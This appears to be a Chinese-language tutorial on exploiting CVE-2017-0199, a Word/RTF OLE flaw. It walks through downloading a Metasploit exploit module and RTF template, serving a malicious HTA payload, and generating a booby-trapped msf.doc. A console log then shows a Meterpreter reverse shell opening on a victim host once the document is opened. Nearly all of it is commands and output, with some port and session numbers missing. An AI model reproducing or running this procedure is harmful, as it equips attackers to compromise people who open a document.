CVE-2017-0199 WORD/RTF嵌入OLE调用远程文件执行的一个漏洞。不需要用户交互。打开文档即中招
首先更新msf到最新,据说最新版简化了利用过程,不需要开启hta这一步.但没测成功 还是按老方法
更新msf,增加国内源
#清华大学
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free #浙大
#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free #东软大学
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib #官方源
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib
没用阿里云的是因为用阿里云的源更新时,提示hash校验失败.
apt-get clean && apt-get update -y && apt-get -f upgrade -y
msfupdate
下载对应exploit
cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat
wget https://raw.githubusercontent.com/nixawk/metasploit-framework/feature/CVE-2017-0199/modules/exploits/windows/fileformat/office_word_hta.rb
下载cve-2017-0199.rtf:
cd /usr/share/metasploit-framework/data/exploits
wget https://raw.githubusercontent.com/nixawk/metasploit-framework/feature/CVE-2017-0199/data/exploits/cve-2017-0199.rtf
开启HTA:
root@kali:~# msfconsole
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
Learn more on http://rapid7.com/metasploit
=[ metasploit v4.14.14-dev ]
+ -- --=[ exploits - auxiliary - post ]
+ -- --=[ payloads - encoders - nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > use exploit/windows/misc/hta_server
msf exploit(hta_server) > show options
Module options (exploit/windows/misc/hta_server):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Exploit target:
Id Name
-- ----
Powershell x86
msf exploit(hta_server) > run
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.101:
[*] Using URL: http://0.0.0.0:8080/h48EGx964y.hta
[*] Local IP: http://192.168.1.101:8080/h48EGx964y.hta
[*] Server started.
msf exploit(hta_server) > use exploit/windows/fileformat/office_word_hta
msf exploit(office_word_hta) > show options
Module options (exploit/windows/fileformat/office_word_hta):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no The file name.
TARGETURI http://example.com/test.rtf yes The path to a online hta file.
Exploit target:
Id Name
-- ----
Microsoft Office Word
生成payload doc文档:
msf exploit(office_word_hta) > set TARGETURI http://192.168.1.101:8080/h48EGx964y.hta
TARGETURI => http://192.168.1.101:8080/h48EGx964y.hta
msf exploit(office_word_hta) > set FILENAME msf.doc
FILENAME => msf.doc
msf exploit(office_word_hta) > run [+] msf.doc stored at /root/.msf4/local/msf.doc
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) > msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
[*] 192.168.1.108 hta_server - Delivering Payload
[*] 192.168.1.108 hta_server - Delivering Payload
[*] Sending stage ( bytes) to 192.168.1.108
[*] Meterpreter session opened (192.168.1.101: -> 192.168.1.108:) at -- :: + msf exploit(office_word_hta) > sessions -i Active sessions
=============== Id Type Information Connection
-- ---- ----------- ----------
meterpreter x86/windows FEIYU\yu @ FEIYU 192.168.1.101: -> 192.168.1.108: (192.168.1.108) msf exploit(office_word_hta) > session
[-] Unknown command: session.
msf exploit(office_word_hta) > sessions -i
[*] Starting interaction with ...
去目标机上看下:
需要注意的是,不是所有版本都支持,比如我的office plus 2013